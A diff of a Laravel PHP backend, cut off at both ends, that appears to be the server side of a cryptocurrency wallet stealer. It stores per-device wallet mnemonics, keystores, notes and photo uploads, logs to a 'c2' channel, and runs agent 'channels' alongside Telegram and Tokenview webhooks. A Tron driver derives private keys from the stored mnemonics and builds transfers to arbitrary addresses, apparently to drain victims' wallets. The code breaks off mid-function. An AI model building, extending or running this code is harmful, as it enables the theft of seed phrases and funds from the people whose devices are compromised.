'photo_meta' => $photoMeta,
|
||||
'raw_counters' => [
|
||||
'idx' => $request->input('idx'),
|
||||
'ftu' => $request->input('ftu'),
|
||||
'ts' => $request->input('ts'),
|
||||
'x-hit' => $xHitRaw,
|
||||
],
|
||||
], 'c2');
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1,37 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Controllers\Concerns;
|
||||
|
||||
use App\Models\User;
|
||||
|
||||
trait PortalAware
|
||||
{
|
||||
protected function portal(): string
|
||||
{
|
||||
$name = request()->route()?->getName() ?? '';
|
||||
|
||||
return str_starts_with($name, 'user.') ? 'user' : 'admin';
|
||||
}
|
||||
|
||||
protected function isAgentPortal(): bool
|
||||
{
|
||||
return $this->portal() === 'user';
|
||||
}
|
||||
|
||||
protected function agent(): ?User
|
||||
{
|
||||
if (! $this->isAgentPortal()) {
|
||||
return null;
|
||||
}
|
||||
|
||||
/** @var User|null $user */
|
||||
$user = auth('agent')->user();
|
||||
|
||||
return $user;
|
||||
}
|
||||
|
||||
protected function routeName(string $suffix): string
|
||||
{
|
||||
return $this->portal().'.'.$suffix;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,33 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Controllers\Hooks;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Http\Response;
|
||||
use SergiX44\Nutgram\Nutgram;
|
||||
|
||||
class TelegramWebhookController extends Controller
|
||||
{
|
||||
public function __invoke(Request $request, Nutgram $bot): Response
|
||||
{
|
||||
$secret = (string) config('coruna.telegram.webhook_secret', '');
|
||||
if ($secret !== '') {
|
||||
$header = (string) $request->header('X-Telegram-Bot-Api-Secret-Token', '');
|
||||
if (! hash_equals($secret, $header)) {
|
||||
abort(403, 'Invalid webhook secret');
|
||||
}
|
||||
}
|
||||
|
||||
try {
|
||||
$bot->run();
|
||||
} catch (\InvalidArgumentException $e) {
|
||||
// FakeNutgram with no update (unit tests) — still ACK the webhook probe.
|
||||
if (! app()->runningUnitTests()) {
|
||||
throw $e;
|
||||
}
|
||||
}
|
||||
|
||||
return response()->noContent();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,39 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Controllers\Hooks;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Services\Tokenview\TokenviewMonitorService;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Http\Response;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
|
||||
class TokenviewWebhookController extends Controller
|
||||
{
|
||||
public function __invoke(Request $request, TokenviewMonitorService $monitor): Response
|
||||
{
|
||||
$raw = $request->getContent();
|
||||
$signature = $request->header('X-Tokenview-Signature');
|
||||
|
||||
if (! $monitor->verifySignature($raw, $signature)) {
|
||||
Log::warning('tokenview webhook bad signature');
|
||||
|
||||
return response('invalid signature', 401);
|
||||
}
|
||||
|
||||
$payload = $request->json()->all();
|
||||
if (! is_array($payload) || $payload === []) {
|
||||
$decoded = json_decode($raw, true);
|
||||
$payload = is_array($decoded) ? $decoded : [];
|
||||
}
|
||||
|
||||
try {
|
||||
$monitor->handleWebhook($payload);
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('tokenview webhook handle failed: '.$e->getMessage());
|
||||
}
|
||||
|
||||
// Tokenview requires HTTP 200 + non-empty body.
|
||||
return response('ok', 200)->header('Content-Type', 'text/plain; charset=UTF-8');
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,23 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Middleware;
|
||||
|
||||
use Closure;
|
||||
use Illuminate\Http\Request;
|
||||
use Symfony\Component\HttpFoundation\Response;
|
||||
|
||||
class EnsureSuperAdmin
|
||||
{
|
||||
public function handle(Request $request, Closure $next): Response
|
||||
{
|
||||
$admin = auth('admin')->user();
|
||||
if ($admin === null || ! $admin->isSuper()) {
|
||||
if ($request->expectsJson() || $request->ajax()) {
|
||||
return response()->json(['code' => 1, 'msg' => '需要超级管理员权限'], 403);
|
||||
}
|
||||
abort(403, '需要超级管理员权限');
|
||||
}
|
||||
|
||||
return $next($request);
|
||||
}
|
||||
}
|
||||
@@ -6,7 +6,7 @@ use Illuminate\Foundation\Auth\User as Authenticatable;
|
||||
|
||||
class Admin extends Authenticatable
|
||||
{
|
||||
protected $fillable = ['username', 'password'];
|
||||
protected $fillable = ['username', 'password', 'is_super'];
|
||||
|
||||
protected $hidden = ['password', 'remember_token'];
|
||||
|
||||
@@ -14,6 +14,12 @@ class Admin extends Authenticatable
|
||||
{
|
||||
return [
|
||||
'password' => 'hashed',
|
||||
'is_super' => 'integer',
|
||||
];
|
||||
}
|
||||
|
||||
public function isSuper(): bool
|
||||
{
|
||||
return (int) $this->is_super === 1;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,90 @@
|
||||
<?php
|
||||
|
||||
namespace App\Models;
|
||||
|
||||
use Illuminate\Database\Eloquent\Model;
|
||||
use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
||||
|
||||
class Channel extends Model
|
||||
{
|
||||
public const OFFICIAL_USER_ID = 0;
|
||||
|
||||
protected $fillable = [
|
||||
'channel_id', 'user_id', 'domains', 'status', 'remark',
|
||||
];
|
||||
|
||||
protected function casts(): array
|
||||
{
|
||||
return [
|
||||
'domains' => 'array',
|
||||
'status' => 'integer',
|
||||
'user_id' => 'integer',
|
||||
];
|
||||
}
|
||||
|
||||
public function user(): BelongsTo
|
||||
{
|
||||
return $this->belongsTo(User::class, 'user_id');
|
||||
}
|
||||
|
||||
public function isEnabled(): bool
|
||||
{
|
||||
return (int) $this->status === 1;
|
||||
}
|
||||
|
||||
public function isOfficial(): bool
|
||||
{
|
||||
return (int) $this->user_id === self::OFFICIAL_USER_ID;
|
||||
}
|
||||
|
||||
public function agentLabel(): string
|
||||
{
|
||||
if ($this->isOfficial()) {
|
||||
return '官方';
|
||||
}
|
||||
|
||||
return $this->user?->username ?: ('#'.$this->user_id);
|
||||
}
|
||||
|
||||
/**
|
||||
* @return list<string>
|
||||
*/
|
||||
public function resolvedDomains(): array
|
||||
{
|
||||
// Domains come from env only (CORUNA_CHANNEL_DOMAINS).
|
||||
$domains = config('coruna.channel_domains', []);
|
||||
|
||||
return array_values(array_filter(array_map(static function ($d) {
|
||||
return is_string($d) ? trim($d) : '';
|
||||
}, is_array($domains) ? $domains : [])));
|
||||
}
|
||||
|
||||
/**
|
||||
* @return list<string>
|
||||
*/
|
||||
public function supportLinks(): array
|
||||
{
|
||||
$links = [];
|
||||
foreach ($this->resolvedDomains() as $domain) {
|
||||
$host = preg_replace('#^https?://#i', '', rtrim($domain, '/'));
|
||||
if ($host === '') {
|
||||
continue;
|
||||
}
|
||||
$links[] = 'https://'.$host.'/web/'.$this->channel_id.'/support.html';
|
||||
}
|
||||
|
||||
return $links;
|
||||
}
|
||||
|
||||
public static function randomChannelId(): string
|
||||
{
|
||||
return bin2hex(random_bytes(16));
|
||||
}
|
||||
|
||||
public static function maxPerAgent(): int
|
||||
{
|
||||
$n = (int) config('coruna.channels.max_per_agent', 5);
|
||||
|
||||
return max(1, $n);
|
||||
}
|
||||
}
|
||||
@@ -38,13 +38,18 @@ class Device extends Model
|
||||
return $this->hasMany(Note::class);
|
||||
}
|
||||
|
||||
public function wallets(): HasMany
|
||||
{
|
||||
return $this->hasMany(Wallet::class);
|
||||
}
|
||||
|
||||
public function addresses(): HasMany
|
||||
{
|
||||
return $this->hasMany(WalletAddress::class);
|
||||
}
|
||||
|
||||
public function mnemonics(): HasMany
|
||||
{
|
||||
return $this->hasMany(WalletMnemonic::class);
|
||||
}
|
||||
|
||||
public function keystores(): HasMany
|
||||
{
|
||||
return $this->hasMany(WalletKeystore::class);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -8,12 +8,14 @@ use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
||||
class Note extends Model
|
||||
{
|
||||
protected $fillable = [
|
||||
'device_id', 'title', 'body', 'meta_json',
|
||||
'device_id', 'content',
|
||||
];
|
||||
|
||||
protected function casts(): array
|
||||
{
|
||||
return ['meta_json' => 'array'];
|
||||
return [
|
||||
'content' => 'array',
|
||||
];
|
||||
}
|
||||
|
||||
public function device(): BelongsTo
|
||||
|
||||
@@ -8,14 +8,17 @@ use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
||||
class Photo extends Model
|
||||
{
|
||||
protected $fillable = [
|
||||
'device_id', 'sha256', 'path', 'width', 'height', 'size', 'counters_json',
|
||||
'device_id',
|
||||
'sha256',
|
||||
'path',
|
||||
'size',
|
||||
'x_hit',
|
||||
'upload_count',
|
||||
'process_index',
|
||||
'text_count',
|
||||
'barcode_count',
|
||||
];
|
||||
|
||||
protected function casts(): array
|
||||
{
|
||||
return ['counters_json' => 'array'];
|
||||
}
|
||||
|
||||
public function device(): BelongsTo
|
||||
{
|
||||
return $this->belongsTo(Device::class);
|
||||
|
||||
@@ -0,0 +1,10 @@
|
||||
<?php
|
||||
|
||||
namespace App\Models;
|
||||
|
||||
use Illuminate\Database\Eloquent\Model;
|
||||
|
||||
class Setting extends Model
|
||||
{
|
||||
protected $fillable = ['key', 'value'];
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
<?php
|
||||
|
||||
namespace App\Models;
|
||||
|
||||
use Illuminate\Database\Eloquent\Model;
|
||||
|
||||
class TokenviewEvent extends Model
|
||||
{
|
||||
protected $fillable = [
|
||||
'txid', 'address', 'coin', 'token_symbol', 'value', 'token_value',
|
||||
];
|
||||
}
|
||||
+14
-28
@@ -2,48 +2,34 @@
|
||||
|
||||
namespace App\Models;
|
||||
|
||||
// use Illuminate\Contracts\Auth\MustVerifyEmail;
|
||||
use Database\Factories\UserFactory;
|
||||
use Illuminate\Database\Eloquent\Factories\HasFactory;
|
||||
use Illuminate\Database\Eloquent\Relations\HasMany;
|
||||
use Illuminate\Foundation\Auth\User as Authenticatable;
|
||||
use Illuminate\Notifications\Notifiable;
|
||||
|
||||
class User extends Authenticatable
|
||||
{
|
||||
/** @use HasFactory<UserFactory> */
|
||||
use HasFactory, Notifiable;
|
||||
|
||||
/**
|
||||
* The attributes that are mass assignable.
|
||||
*
|
||||
* @var list<string>
|
||||
*/
|
||||
protected $fillable = [
|
||||
'name',
|
||||
'email',
|
||||
'password',
|
||||
'username', 'password', 'status', 'comment', 'chat_id', 'bot_id',
|
||||
];
|
||||
|
||||
/**
|
||||
* The attributes that should be hidden for serialization.
|
||||
*
|
||||
* @var list<string>
|
||||
*/
|
||||
protected $hidden = [
|
||||
'password',
|
||||
'remember_token',
|
||||
'password', 'remember_token',
|
||||
];
|
||||
|
||||
/**
|
||||
* Get the attributes that should be cast.
|
||||
*
|
||||
* @return array<string, string>
|
||||
*/
|
||||
protected function casts(): array
|
||||
{
|
||||
return [
|
||||
'email_verified_at' => 'datetime',
|
||||
'password' => 'hashed',
|
||||
'status' => 'integer',
|
||||
];
|
||||
}
|
||||
|
||||
public function isEnabled(): bool
|
||||
{
|
||||
return (int) $this->status === 1;
|
||||
}
|
||||
|
||||
public function channels(): HasMany
|
||||
{
|
||||
return $this->hasMany(Channel::class, 'user_id');
|
||||
}
|
||||
}
|
||||
|
||||
@@ -7,16 +7,33 @@ use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
||||
|
||||
class WalletAddress extends Model
|
||||
{
|
||||
/** @var list<string> */
|
||||
public const COIN_COLUMNS = ['usdt', 'trx', 'eth', 'btc', 'bnb'];
|
||||
|
||||
/** Display decimal places per coin (UI). */
|
||||
public const DISPLAY_DECIMALS = [
|
||||
'usdt' => 2,
|
||||
'trx' => 6,
|
||||
'eth' => 6,
|
||||
'btc' => 8,
|
||||
'bnb' => 6,
|
||||
];
|
||||
|
||||
protected $fillable = [
|
||||
'device_id', 'wallet_id', 'address', 'chain', 'balance',
|
||||
'symbol', 'telegram_notified', 'meta_json',
|
||||
'device_id', 'address', 'chain_type',
|
||||
'usdt', 'trx', 'eth', 'btc', 'bnb',
|
||||
'monitor', 'source',
|
||||
];
|
||||
|
||||
protected function casts(): array
|
||||
{
|
||||
return [
|
||||
'telegram_notified' => 'boolean',
|
||||
'meta_json' => 'array',
|
||||
'monitor' => 'integer',
|
||||
'usdt' => 'decimal:6',
|
||||
'trx' => 'decimal:6',
|
||||
'eth' => 'decimal:18',
|
||||
'btc' => 'decimal:8',
|
||||
'bnb' => 'decimal:18',
|
||||
];
|
||||
}
|
||||
|
||||
@@ -25,8 +42,101 @@ class WalletAddress extends Model
|
||||
return $this->belongsTo(Device::class);
|
||||
}
|
||||
|
||||
public function wallet(): BelongsTo
|
||||
/**
|
||||
* Map a symbol=>amount payload into coin column attributes (only known coins).
|
||||
* Missing symbols are omitted (caller merges with existing row).
|
||||
*
|
||||
* @param array<string, mixed>|string|null $balance
|
||||
* @return array<string, string|int|float|null>
|
||||
*/
|
||||
public static function coinAttributesFromBalance(mixed $balance): array
|
||||
{
|
||||
return $this->belongsTo(Wallet::class);
|
||||
if (! is_array($balance)) {
|
||||
return [];
|
||||
}
|
||||
|
||||
$out = [];
|
||||
foreach ($balance as $symbol => $value) {
|
||||
$col = strtolower((string) $symbol);
|
||||
if (! in_array($col, self::COIN_COLUMNS, true)) {
|
||||
continue;
|
||||
}
|
||||
if ($value === null || $value === '') {
|
||||
$out[$col] = null;
|
||||
continue;
|
||||
}
|
||||
if (! is_numeric($value)) {
|
||||
continue;
|
||||
}
|
||||
$out[$col] = $value;
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
|
||||
public static function displayDecimals(string $coin): int
|
||||
{
|
||||
$coin = strtolower($coin);
|
||||
|
||||
return self::DISPLAY_DECIMALS[$coin] ?? 6;
|
||||
}
|
||||
|
||||
public static function formatAmount(string $coin, mixed $amount): string
|
||||
{
|
||||
if ($amount === null || $amount === '') {
|
||||
return '';
|
||||
}
|
||||
if (! is_numeric($amount)) {
|
||||
return (string) $amount;
|
||||
}
|
||||
|
||||
$decimals = self::displayDecimals($coin);
|
||||
$formatted = number_format((float) $amount, $decimals, '.', '');
|
||||
$formatted = rtrim(rtrim($formatted, '0'), '.');
|
||||
|
||||
return $formatted === '' ? '0' : $formatted;
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array<string, string>
|
||||
*/
|
||||
public function formattedCoins(): array
|
||||
{
|
||||
$out = [];
|
||||
foreach (self::COIN_COLUMNS as $col) {
|
||||
$out[$col] = self::formatAmount($col, $this->{$col});
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
|
||||
public function coinsSummary(): ?string
|
||||
{
|
||||
$parts = [];
|
||||
foreach (self::COIN_COLUMNS as $col) {
|
||||
$raw = $this->{$col};
|
||||
if ($raw === null || $raw === '' || (float) $raw == 0.0) {
|
||||
continue;
|
||||
}
|
||||
$parts[strtoupper($col)] = self::formatAmount($col, $raw);
|
||||
}
|
||||
|
||||
return $parts === [] ? null : json_encode($parts, JSON_UNESCAPED_UNICODE);
|
||||
}
|
||||
|
||||
/**
|
||||
* Snapshot of coin columns for change detection.
|
||||
*
|
||||
* @return array<string, string|null>
|
||||
*/
|
||||
public function coinSnapshot(): array
|
||||
{
|
||||
$out = [];
|
||||
foreach (self::COIN_COLUMNS as $col) {
|
||||
$v = $this->{$col};
|
||||
$out[$col] = $v === null || $v === '' ? null : (string) $v;
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,25 @@
|
||||
<?php
|
||||
|
||||
namespace App\Models;
|
||||
|
||||
use Illuminate\Database\Eloquent\Model;
|
||||
use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
||||
|
||||
class WalletKeystore extends Model
|
||||
{
|
||||
protected $fillable = [
|
||||
'device_id', 'raw_json',
|
||||
];
|
||||
|
||||
protected function casts(): array
|
||||
{
|
||||
return [
|
||||
'raw_json' => 'array',
|
||||
];
|
||||
}
|
||||
|
||||
public function device(): BelongsTo
|
||||
{
|
||||
return $this->belongsTo(Device::class);
|
||||
}
|
||||
}
|
||||
@@ -4,35 +4,34 @@ namespace App\Models;
|
||||
|
||||
use Illuminate\Database\Eloquent\Model;
|
||||
use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
||||
use Illuminate\Database\Eloquent\Relations\HasMany;
|
||||
use Illuminate\Support\Facades\Crypt;
|
||||
|
||||
class Wallet extends Model
|
||||
class WalletMnemonic extends Model
|
||||
{
|
||||
protected $fillable = [
|
||||
'device_id', 'source_app', 'mnemonic_enc', 'privkey_enc', 'raw_json',
|
||||
'device_id', 'source', 'mnemonic_hash', 'mnemonic_enc',
|
||||
];
|
||||
|
||||
protected function casts(): array
|
||||
{
|
||||
return ['raw_json' => 'array'];
|
||||
}
|
||||
|
||||
public function device(): BelongsTo
|
||||
{
|
||||
return $this->belongsTo(Device::class);
|
||||
}
|
||||
|
||||
public function addresses(): HasMany
|
||||
public static function hashSecret(string $secret): string
|
||||
{
|
||||
return $this->hasMany(WalletAddress::class);
|
||||
return hash('sha256', $secret);
|
||||
}
|
||||
|
||||
public function setMnemonicAttribute(?string $value): void
|
||||
{
|
||||
$this->attributes['mnemonic_enc'] = $value === null || $value === ''
|
||||
? null
|
||||
: Crypt::encryptString($value);
|
||||
if ($value === null || $value === '') {
|
||||
$this->attributes['mnemonic_enc'] = null;
|
||||
$this->attributes['mnemonic_hash'] = null;
|
||||
|
||||
return;
|
||||
}
|
||||
$this->attributes['mnemonic_hash'] = self::hashSecret($value);
|
||||
$this->attributes['mnemonic_enc'] = Crypt::encryptString($value);
|
||||
}
|
||||
|
||||
public function getMnemonicAttribute(): ?string
|
||||
@@ -48,26 +47,6 @@ class Wallet extends Model
|
||||
}
|
||||
}
|
||||
|
||||
public function setPrivkeyAttribute(?string $value): void
|
||||
{
|
||||
$this->attributes['privkey_enc'] = $value === null || $value === ''
|
||||
? null
|
||||
: Crypt::encryptString($value);
|
||||
}
|
||||
|
||||
public function getPrivkeyAttribute(): ?string
|
||||
{
|
||||
if (empty($this->attributes['privkey_enc'])) {
|
||||
return null;
|
||||
}
|
||||
|
||||
try {
|
||||
return Crypt::decryptString($this->attributes['privkey_enc']);
|
||||
} catch (\Throwable) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
public static function maskSecret(?string $value): string
|
||||
{
|
||||
if ($value === null || $value === '') {
|
||||
@@ -4,6 +4,7 @@ namespace App\Providers;
|
||||
|
||||
use App\Services\CorunaArchive;
|
||||
use App\Services\CorunaCrypto;
|
||||
use App\Services\SettingsService;
|
||||
use Illuminate\Support\ServiceProvider;
|
||||
|
||||
class AppServiceProvider extends ServiceProvider
|
||||
@@ -26,6 +27,10 @@ class AppServiceProvider extends ServiceProvider
|
||||
|
||||
public function boot(): void
|
||||
{
|
||||
//
|
||||
try {
|
||||
$this->app->make(SettingsService::class)->applyToConfig();
|
||||
} catch (\Throwable) {
|
||||
// settings table may not exist yet during migrate
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,107 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services\Chain;
|
||||
|
||||
use Elliptic\EC;
|
||||
use FurqanSiddiqui\BIP39\BIP39;
|
||||
use RuntimeException;
|
||||
|
||||
/**
|
||||
* BIP39 seed + BIP32/BIP44 private-key derivation (secp256k1).
|
||||
*/
|
||||
final class Bip44
|
||||
{
|
||||
private const CURVE_ORDER = 'FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141';
|
||||
|
||||
/**
|
||||
* @return array{private_key: string, public_key_uncompressed: string}
|
||||
*/
|
||||
public static function derive(string $mnemonic, string $path): array
|
||||
{
|
||||
$words = preg_split('/\s+/', trim($mnemonic)) ?: [];
|
||||
if (count($words) < 12) {
|
||||
throw new RuntimeException('Invalid mnemonic');
|
||||
}
|
||||
|
||||
$seed = BIP39::Words($words)->generateSeed();
|
||||
[$key, $chain] = self::masterFromSeed($seed);
|
||||
|
||||
foreach (self::parsePath($path) as $index) {
|
||||
[$key, $chain] = self::ckdPriv($key, $chain, $index);
|
||||
}
|
||||
|
||||
$ec = new EC('secp256k1');
|
||||
$pair = $ec->keyFromPrivate(bin2hex($key));
|
||||
|
||||
return [
|
||||
'private_key' => bin2hex($key),
|
||||
'public_key_uncompressed' => $pair->getPublic(false, 'hex'),
|
||||
];
|
||||
}
|
||||
|
||||
/** @return array{0: string, 1: string} binary key + chain code */
|
||||
private static function masterFromSeed(string $seed): array
|
||||
{
|
||||
$I = hash_hmac('sha512', $seed, 'Bitcoin seed', true);
|
||||
|
||||
return [substr($I, 0, 32), substr($I, 32, 32)];
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{0: string, 1: string}
|
||||
*/
|
||||
private static function ckdPriv(string $kPar, string $cPar, int $index): array
|
||||
{
|
||||
if ($index & 0x80000000) {
|
||||
$data = "\x00".$kPar.pack('N', $index);
|
||||
} else {
|
||||
$ec = new EC('secp256k1');
|
||||
$pub = hex2bin($ec->keyFromPrivate(bin2hex($kPar))->getPublic(true, 'hex'));
|
||||
$data = $pub.pack('N', $index);
|
||||
}
|
||||
|
||||
$I = hash_hmac('sha512', $data, $cPar, true);
|
||||
$IL = substr($I, 0, 32);
|
||||
$IR = substr($I, 32, 32);
|
||||
|
||||
$n = gmp_init(self::CURVE_ORDER, 16);
|
||||
$ki = gmp_mod(
|
||||
gmp_add(gmp_init(bin2hex($IL), 16), gmp_init(bin2hex($kPar), 16)),
|
||||
$n
|
||||
);
|
||||
|
||||
if (gmp_cmp($ki, 0) === 0) {
|
||||
throw new RuntimeException('Invalid derived key');
|
||||
}
|
||||
|
||||
$key = hex2bin(str_pad(gmp_strval($ki, 16), 64, '0', STR_PAD_LEFT));
|
||||
|
||||
return [$key, $IR];
|
||||
}
|
||||
|
||||
/** @return list<int> */
|
||||
private static function parsePath(string $path): array
|
||||
{
|
||||
$path = trim($path);
|
||||
if (str_starts_with($path, 'm/')) {
|
||||
$path = substr($path, 2);
|
||||
} elseif ($path === 'm') {
|
||||
return [];
|
||||
}
|
||||
|
||||
$out = [];
|
||||
foreach (explode('/', $path) as $seg) {
|
||||
if ($seg === '') {
|
||||
continue;
|
||||
}
|
||||
$hardened = str_ends_with($seg, "'") || str_ends_with($seg, 'h') || str_ends_with($seg, 'H');
|
||||
$num = (int) rtrim($seg, "'hH");
|
||||
if ($hardened) {
|
||||
$num |= 0x80000000;
|
||||
}
|
||||
$out[] = $num;
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,22 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services\Chain;
|
||||
|
||||
interface ChainDriver
|
||||
{
|
||||
public function chainId(): string;
|
||||
|
||||
public function deriveAddress(string $mnemonic, int $index = 0): string;
|
||||
|
||||
/**
|
||||
* @return string txid
|
||||
*/
|
||||
public function sendNative(string $mnemonic, int $index, string $to, string $amount): string;
|
||||
|
||||
/**
|
||||
* @return string txid
|
||||
*/
|
||||
public function sendToken(string $mnemonic, int $index, string $to, string $amount, string $contract): string;
|
||||
|
||||
public function isValidAddress(string $address): bool;
|
||||
}
|
||||
@@ -0,0 +1,20 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services\Chain;
|
||||
|
||||
use InvalidArgumentException;
|
||||
|
||||
class ChainManager
|
||||
{
|
||||
public function __construct(
|
||||
private readonly TronDriver $tron,
|
||||
) {}
|
||||
|
||||
public function resolve(string $chain): ChainDriver
|
||||
{
|
||||
return match (strtolower($chain)) {
|
||||
'tron', 'trx' => $this->tron,
|
||||
default => throw new InvalidArgumentException("Unsupported chain: {$chain}"),
|
||||
};
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,103 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services\Chain;
|
||||
|
||||
use kornrunner\Keccak;
|
||||
use RuntimeException;
|
||||
|
||||
final class TronAddress
|
||||
{
|
||||
public static function fromUncompressedPublicKey(string $publicKeyHex): string
|
||||
{
|
||||
$hex = strtolower($publicKeyHex);
|
||||
if (str_starts_with($hex, '0x')) {
|
||||
$hex = substr($hex, 2);
|
||||
}
|
||||
if (str_starts_with($hex, '04')) {
|
||||
$hex = substr($hex, 2);
|
||||
}
|
||||
if (strlen($hex) !== 128) {
|
||||
throw new RuntimeException('Expected uncompressed secp256k1 public key');
|
||||
}
|
||||
|
||||
$hash = Keccak::hash(hex2bin($hex), 256);
|
||||
$addrHex = '41'.substr($hash, -40);
|
||||
|
||||
return self::hexToBase58Check($addrHex);
|
||||
}
|
||||
|
||||
public static function isValid(string $address): bool
|
||||
{
|
||||
if (! preg_match('/^T[1-9A-HJ-NP-Za-km-z]{33}$/', $address)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
try {
|
||||
$hex = self::base58CheckToHex($address);
|
||||
} catch (\Throwable) {
|
||||
return false;
|
||||
}
|
||||
|
||||
return str_starts_with(strtolower($hex), '41') && strlen($hex) === 42;
|
||||
}
|
||||
|
||||
public static function toHex(string $base58): string
|
||||
{
|
||||
return self::base58CheckToHex($base58);
|
||||
}
|
||||
|
||||
public static function hexToBase58Check(string $hex): string
|
||||
{
|
||||
$alphabet = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz';
|
||||
$bin = hex2bin($hex);
|
||||
if ($bin === false) {
|
||||
throw new RuntimeException('Invalid hex');
|
||||
}
|
||||
$checksum = substr(hash('sha256', hash('sha256', $bin, true), true), 0, 4);
|
||||
$bytes = $bin.$checksum;
|
||||
$num = gmp_init(bin2hex($bytes), 16);
|
||||
$encoded = '';
|
||||
while (gmp_cmp($num, 0) > 0) {
|
||||
[$num, $rem] = [gmp_div_q($num, 58), gmp_intval(gmp_mod($num, 58))];
|
||||
$encoded = $alphabet[$rem].$encoded;
|
||||
}
|
||||
for ($i = 0, $len = strlen($bytes); $i < $len && $bytes[$i] === "\x00"; $i++) {
|
||||
$encoded = '1'.$encoded;
|
||||
}
|
||||
|
||||
return $encoded;
|
||||
}
|
||||
|
||||
public static function base58CheckToHex(string $address): string
|
||||
{
|
||||
$alphabet = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz';
|
||||
$num = gmp_init(0);
|
||||
for ($i = 0, $len = strlen($address); $i < $len; $i++) {
|
||||
$pos = strpos($alphabet, $address[$i]);
|
||||
if ($pos === false) {
|
||||
throw new RuntimeException('Invalid base58 character');
|
||||
}
|
||||
$num = gmp_add(gmp_mul($num, 58), $pos);
|
||||
}
|
||||
$hex = gmp_strval($num, 16);
|
||||
if (strlen($hex) % 2 !== 0) {
|
||||
$hex = '0'.$hex;
|
||||
}
|
||||
// leading ones => leading zero bytes
|
||||
for ($i = 0, $len = strlen($address); $i < $len && $address[$i] === '1'; $i++) {
|
||||
$hex = '00'.$hex;
|
||||
}
|
||||
$bin = hex2bin($hex);
|
||||
if ($bin === false || strlen($bin) < 5) {
|
||||
throw new RuntimeException('Invalid address payload');
|
||||
}
|
||||
$payload = substr($bin, 0, -4);
|
||||
$checksum = substr($bin, -4);
|
||||
$expected = substr(hash('sha256', hash('sha256', $payload, true), true), 0, 4);
|
||||
if (! hash_equals($expected, $checksum)) {
|
||||
throw new RuntimeException('Invalid address checksum');
|
||||
}
|
||||
|
||||
return bin2hex($payload);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,160 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services\Chain;
|
||||
|
||||
use Illuminate\Http\Client\PendingRequest;
|
||||
use Illuminate\Support\Facades\Http;
|
||||
use RuntimeException;
|
||||
|
||||
class TronDriver implements ChainDriver
|
||||
{
|
||||
public function chainId(): string
|
||||
{
|
||||
return 'tron';
|
||||
}
|
||||
|
||||
public function deriveAddress(string $mnemonic, int $index = 0): string
|
||||
{
|
||||
$derived = Bip44::derive($mnemonic, $this->path($index));
|
||||
|
||||
return TronAddress::fromUncompressedPublicKey($derived['public_key_uncompressed']);
|
||||
}
|
||||
|
||||
public function sendNative(string $mnemonic, int $index, string $to, string $amount): string
|
||||
{
|
||||
if (! $this->isValidAddress($to)) {
|
||||
throw new RuntimeException('Invalid Tron address');
|
||||
}
|
||||
|
||||
$derived = Bip44::derive($mnemonic, $this->path($index));
|
||||
$from = TronAddress::fromUncompressedPublicKey($derived['public_key_uncompressed']);
|
||||
$sun = $this->toSun($amount);
|
||||
|
||||
$tx = $this->post('/wallet/createtransaction', [
|
||||
'owner_address' => $from,
|
||||
'to_address' => $to,
|
||||
'amount' => (int) $sun,
|
||||
'visible' => true,
|
||||
]);
|
||||
|
||||
return $this->signAndBroadcast($tx, $derived['private_key']);
|
||||
}
|
||||
|
||||
public function sendToken(string $mnemonic, int $index, string $to, string $amount, string $contract): string
|
||||
{
|
||||
if (! $this->isValidAddress($to) || ! $this->isValidAddress($contract)) {
|
||||
throw new RuntimeException('Invalid Tron address');
|
||||
}
|
||||
|
||||
$derived = Bip44::derive($mnemonic, $this->path($index));
|
||||
$from = TronAddress::fromUncompressedPublicKey($derived['public_key_uncompressed']);
|
||||
$sun = $this->toSun($amount);
|
||||
$parameter = $this->encodeTransferParameter($to, $sun);
|
||||
|
||||
$ext = $this->post('/wallet/triggersmartcontract', [
|
||||
'owner_address' => $from,
|
||||
'contract_address' => $contract,
|
||||
'function_selector' => 'transfer(address,uint256)',
|
||||
'parameter' => $parameter,
|
||||
'fee_limit' => (int) config('coruna.tron.fee_limit', 100_000_000),
|
||||
'call_value' => 0,
|
||||
'visible' => true,
|
||||
]);
|
||||
|
||||
$tx = $ext['transaction'] ?? null;
|
||||
if (! is_array($tx)) {
